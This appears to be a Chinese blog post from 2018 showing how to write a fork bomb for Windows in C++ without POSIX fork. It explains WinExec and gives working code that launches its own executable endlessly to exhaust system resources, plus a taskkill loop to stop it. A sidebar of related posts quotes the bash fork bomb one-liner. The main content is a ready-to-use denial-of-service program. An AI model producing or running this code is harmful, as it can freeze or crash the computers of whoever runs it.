windows下的C++版fork炸弹(无需POSIX标准)

原创 2018年04月17日 12:59:30
fork炸弹(fork bomb)在计算机领域中是一种利用系统调用fork(或其他等效的方式)进行的拒绝服务攻击。与病毒与蠕虫不同的是,fork炸弹没有传染性,而且fork炸弹会使对同时执行进程、程序数设限的系统无法执行新程序,对于不设限的系统则使之停止响应  。
fork炸弹通过进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。

                                                                                                                                                        ——摘自百度百科

> 但百度百科上只给出了POSIX标准下的C++程序。

> 百般无奈下的我只好自己写一个。

其原理就是不断创建新进程耗尽计算机的内存

再给张图大家理解:


所以,只们可以使用WinExec函数来启动进程

那么怎么使用呢?

首先,常量字符串中‘\’必须写成‘\\’,也就是WinExec("E:\QQ.EXE",SW_SHOW); 必须改为:
WinExec("E:\\QQ.EXE",SW_SHOW); 
补充回答:SW_HIDE不行的话用SW_SHOWMINNOACTIVE。
除以上提到的三个以外,第二个参数还有以下7种选择:
SW_MAXIMIZE          //最大化运行 
SW_MINIMIZE          //最小化运行 
SW_RESTORE //将最大化或最小化的窗口恢复正常 
SW_SHOWMAXIMIZED   //激活窗口并以最大化运行 
SW_SHOWMINIMIZED   //激活窗口并以最小化运行 
SW_SHOWNOACTIVATE   //不激活 
SW_SHOWNORMAL       //普通方式

知道了这个以后,我们就可以开始写代码了

#include<windows.h>    //不能用#include<bits/stdc++.h>
using namespace std;
int main()
{
	while(1) \\也可以写成while(true)
		WinExec("这里写你的文件目录,要是生成的那个exe文件",SW_NORMAL);
}

"这里写你的文件目录,要是生成的那个exe文件"这是什么意思呢?

就是当你运行一串代码时,C++就会自动创建一个和源代码文件同名的exe程序,然后你就填上exe文件的目录,注意要加双引号。

比如说是这样:

WinExec("C://Users//Administrator//Documents//fork.exe",SW_NORMAL)

想种终止它也很简单

不断杀掉进程就可以了

code:

#include<windows.h>
using namespace std;
int main()
{
     while(1)
             system("taskkill /f /t /im fork.exe");
}


这个的运行速度比fork_bomb快很多,所以能杀掉进程。

C++动态链接库视频教程(Windows动态链接库)

-
  • 1970年01月01日 08:00

Linux fork炸弹解析 ——Linux Fork Bomb

Linux Fork Bomb:(){ :|: & };:是一个bash函数,以Fork Bomb闻名,是一个拒绝服务攻击 的Linux 系统。如果你好奇地去执行了这个命令,那么赶快重启系统吧~!命令...
  • u011192270
  • u011192270
  • 2015-08-31 10:47:26
  • 3715

多进程函数系列fork(), wait(), exec()系列,system(), posix_spawn()实例详解

多进程函数系列fork(), wait(), exec()系列,system(), posix_spawn()实例详解
  • Linux_ever
  • Linux_ever
  • 2015-12-15 16:09:41
  • 2947

linux bash Shell脚本经典之Fork炸弹解析:() { :|:& };:

众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能。这样的一款shell中自然不会缺少“函数”这个元素来帮助程序进行模块化的高效开发与管理。于是产生了由于其特殊的特性,bash拥...
  • ppby2002
  • ppby2002
  • 2011-06-13 21:58:00
  • 15386

linux脚本】fork炸弹

【linux脚本】fork炸弹 分类: 操作系统之linux linux shell2013-07-21 18:22 100人阅读 评论(0) 收藏 举报 fork炸弹 fork炸弹是一种...
  • pi9nc
  • pi9nc
  • 2013-07-22 13:39:41
  • 902

如何将Linux端POSIX标准的程序移植到windows端 (一)

由于项目需要,必须将Linux端POSIX标准
  • zuijinhaoma8
  • zuijinhaoma8
  • 2014-10-06 19:18:28
  • 937

Linux fork炸弹的分析

作为Linux/Unix 系统上内核与用户之间的接口,shell由于使用方便、可交互能力强、具有强大的编程能力等特性而受到广泛的应用。bash(Bourne Again shell)是对 Bourne...
  • linuxgroup
  • linuxgroup
  • 2009-06-14 22:07:00
  • 3623

Shell脚本经典之Fork炸弹

众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能。这样的一款shell中自然不会缺少“函数”这个元素来帮助程序进行模块化的高效开发与管理。于是产生了由于其特殊的特性,bash拥...
  • hotmocha
  • hotmocha
  • 2014-10-18 10:54:40
  • 1281

Linux 递归经典:fork 炸弹

函数在程序设计中是一个非常重要的概念,它可以将程序划分成一个个功能相对独立的代码块,使代码的模块化更好,结构更加清晰,并可以有效地减少程序的代码量。递归函数更是充分提现了这些优点,通过在函数定义中调用...
  • u012956540
  • u012956540
  • 2015-12-15 21:34:01
  • 350

fork()炸弹学习Python3

import osret = os.fork()if ret == 0:    print('子进程-------')else:    print('父进程-------')ret = fork() ...
  • sinat_41701878
  • sinat_41701878
  • 2018-02-23 22:04:57
  • 39
收藏助手
不良信息举报
您举报文章:windows下的C++版fork炸弹(无需POSIX标准)
举报原因:
原因补充:

(最多只允许输入30个字)